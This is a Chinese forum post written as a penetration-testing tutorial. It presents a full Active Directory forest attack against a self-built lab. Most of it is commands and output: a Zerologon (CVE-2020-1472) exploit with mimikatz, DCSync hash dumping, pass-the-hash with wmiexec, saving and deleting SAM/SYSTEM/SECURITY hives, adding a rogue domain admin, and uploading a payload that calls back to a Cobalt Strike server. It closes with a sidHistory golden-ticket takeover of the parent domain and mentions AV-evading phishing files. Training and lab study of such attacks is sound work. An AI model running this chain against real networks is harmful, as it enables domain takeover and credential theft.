本帖最后由 zhaorong 于 2021-7-26 14:44 编辑
简介
渗透测试-地基篇
该篇章目的是重新牢固地基 加强每日训练操作的笔记 在记录地基笔记中会有很多跳跃性思维的
操作和方式方法望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究 对于所有笔记中复现的这些终端或者服务器
都是自行搭建的环境进行渗透的。
我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的 如果列出的技术
用于其他任何目标 本站及作者概不负责。
名言:
你对这行的兴趣 决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》 根据《网络安全法》所示 未经授权的渗透测试都是不合法的不管是出
于何种目的。红队渗透人员在进行渗透期间 渗透测试的行为和项目必须在被渗透方授予权限可渗透后才可
进行渗透测试操作。
如今有一家dayu公司 需要对自己的业务以及整体的内网框架体系进行隐患挖掘 授予权限我进行对dayu公司
的渗透测试操作 在签署了双方的《渗透测试授权书》后 我开始了对dayu公司的渗透之旅。
跳开思维讲,此篇内容是内网渗透篇章 通过我的专栏:
那么我通过了社工钓鱼的各种方式 将钓鱼文件进行免杀后 成功钓鱼到了该公司外围人员计算机
并控制了该计算机权限获得shell 并成功登录对方电脑。
通过前期对域用户大量的信息收集 画出了相对应的简单网络拓扑图 下一步需要进攻子域控制器 思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域 -> 涉密系统
通过该思路进攻即可 还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)
渗透人员最爱系统之一有kali 还有各类windows集成的武器库系统 通过前几期的域森林专辑文章中利用隐藏通道技术
权限提升、横向攻击、域控安全技术、跨域攻击、置零攻击等手段对公司进行了大面积渗透行为 今天我们就来对域森
林中进行实战攻防演练 利用前期学到的方法在内网中遨游!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
实战是结合所有知识思路的集合体 只有实战才能检验能力的时刻 也只有实战才能更快的进步和检验错误
接下来将介绍如何一步步攻破内网域森林环境!
三、CVE-2020-1472攻击域控
1、环境下载
mimikatz工具地址:
https://github.com/gentilkiwi/mimikatz
https://github.com/SecureAuthCorp/impacket
Kali上-impacket环境安装:
- proxychains git clone https://github.com/SecureAuthCorp/impacket.git
- cd impacket/
- sudo pip3 install .
- sudo python3 setup.py install
- pip3安装:
- wget https://bootstrap.pypa.io/get-pip.py
- python3 get-pip.py
复制代码
2、免杀mimikatz并上传
2、检测是否存在漏洞
CS上进行检测是否存在CVE-2020-1472漏洞:
- shell mimikatz "lsadump::zerologon /target:10.10.3.6 /account:XIYOU[ DISCUZ_CODE_1 ]quot; "exit"
复制代码
回显Authentication: OK -- vulnerable 是存在该漏洞情况 可以进行攻击!!
3、利用CVE-2020-1472修改域控密码为空
CS上利用mimikatz进行域控密码置空攻击:
- shell mimikatz "lsadump::zerologon /target:10.10.3.6 /account:XIYOU$ /exploit" "exit"
复制代码
回显:
- * Authentication: OK -- vulnerable
- * Set password : OK -- may be unstable
复制代码
可看到成功置零hash!!
4、获取hash
先要挂上代理 使用proxychains进行隧道代理后利用域控凭证通过dcsync获取域管机器用户的hash:
- proxychains impacket-secretsdump -no-pass -just-dc xiyou.dayu.com/XIYOU\$@10.10.3.6
复制代码
5、横向攻击
可以破解出域管密码 使用net结合wmic schtasks等远程执行命令方法离线获取保存在注册表中的域
控凭证也可以使用imapcket中的远程执行工具通过hash传递获取。
这里利用wmiexec.py进行横向攻击 wmiexec.py是kali自带的文件 搜索下即可!
- proxychains wmiexec.py -hashes :c515ba5a374ae93dd2018cab7edfb42d ./Administrator@10.10.3.6
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
复制代码
成功将system.save、sam.save、security.save三个文件拷贝到本地!
6、secretsdump获取原hash
使用impacket中的secretsdump拿到域控机器账户原始哈希。
- impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
复制代码
成功对system.save、sam.save、security.save文件读取原来hash!
7、机器用户密码恢复
使用刚读取到的原hash将XIYOU机器用户密码恢复:
下载地址:
https://github.com/risksense/zerologon
- proxychains python3 reinstall_original_pw.py XIYOU 10.10.3.6 f5369b5accc878d9eedfcde13578e2fc
复制代码
回显:
- Success! DC machine account should be restored to it's original value.
- You might want to secretsdump again to check.
复制代码
成功!DC计算机帐户应恢复为其原始值!!
四、子域上线CS
可以创建域控组用户 可以利用黄金 白银 PTH psexec pth-winexe wmiexec smbexec等等技术进行普通域控制!
将介绍一个创建用户方法!
1、创建domain管理用户
- proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c515ba
- 5a374ae93dd2018cab7edfb42d xiyou.dayu.com/Administrator@10.10.3.6
复制代码- net user testyy QWEasd123 /add /domain
- net group "domain admins" testyy /add /domain
复制代码
成功创建testyy域用户并提升为domain admins管理域控组!
2、建立IPC
1)普通域用户上建立和子域控机器IPC连接:
- shell net use \\10.10.3.6\ipc$ "QWEasd123" /user:testyy
- shell net use
复制代码
成功连接!
2)获取权限目录:
正常读取对方目录!
3、上传中转payload
1)本地上传payload到普通域用户目录下:
2)IPC上传payload
使用之前建立的IPC共享上传中转payload:
4、执行上线
1)wmiexec执行payload:
- wmiexec.exe testyy:QWEasd123@10.10.3.6
复制代码
2)上线CS:
执行后成功通过普通域跳板反弹上线到公网VPS的team服务器上!
五、跨域攻击父域
由于前期为了产生最小影响度 快速度利用CVE-2020-1472攻击域控后 立马进行了恢复处理。
当然也可以继续利用CVE-2020-1472工具父域 也可以利用域信任关系进行攻击!接下来两种方法都进行演示!
1、利用 krbtgt散列值获取目标域的权限
使用mimikaz,可以在构建黄金票据时设置sidHistory。因此 如果攻击者获取了林内任意域的krbtgt散
列值就可以利用sidHistory获得该林的完整权限。
1)获取父子域SID
子域控制器中执行:
- mimikatz.exe privilege::debug "lsadump::lsa /patch /user:父域名[ DISCUZ_CODE_15 ]quot; "lsadump::trust /patch" exit
- mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dayu[ DISCUZ_CODE_15 ]quot; "lsadump::trust /patch" exit
复制代码- NTLM : 5c71b05069ce9dc07c94d46851068d9f
- XIYOU.DAYU.COM: S-1-5-21-1816246241-4074331134-2257350442
- DAYU.COM:S-1-5-21-3309395417-4108617856-2168433834
复制代码
2)获取krbtgt散列值:
在域控制器上使用mimikatz获取 krbtgt 散列值:
- mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "sekurlsa::krbtgt" exit
复制代码
在子域内的计算机上使用普通用户权限(sub\test)构造并注入黄金票据,获取目标域的权限。
- mimikatz.exe “Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:
- 目标域SID-519 /krbtgt: krbtgt散列 /ptt" exit
复制代码
user参数用于指定用户名: domain参数用于指定当前域名: sid参数用于当前城的SID; sids参数用于指定目标域
的SID(在本实验中为519,代表渗透测试人员创建的户属于目标域的管理员组): krbtgt 参数指定krbtgt散列值: ptt 表示将票据往人内存。
- mimikatz.exe “Kerberos::golden /user:administrator /domain:xiyou.dayu.com /sid:S-1-5-21-18162462
- 41-4074331134-2257350442 /sids:S-1-5-21-3309395417-4108617856-2168433834-519 /krbtgt:39601
- ebdad1d3e960ed3712398d3ab3a /ptt" exit
复制代码
输人如下命令 访问目标服务
3、利用wmiexec.py横向渗透
通过前面获得的hash横向登录:
- python3 ./wmiexec.py -hashes ad3b435b51404eeaad3b435b
- 51404ee:c515ba5a374ae93dd2018cab7edfb42d dayu1.day
- u.com/administrator@10.10.3.5
复制代码
登录后即可获得cmd权限 直接利用CS生成免杀木马 直接上线即可!
六、总结
通过CVE-2020-1472置零攻击 子域控信息收集 跨域攻击最后拿下父域控制器 在实战攻防下篇章会介
绍如何继续进攻财务独立域环境!希望小伙伴们学到更多的技术!加油~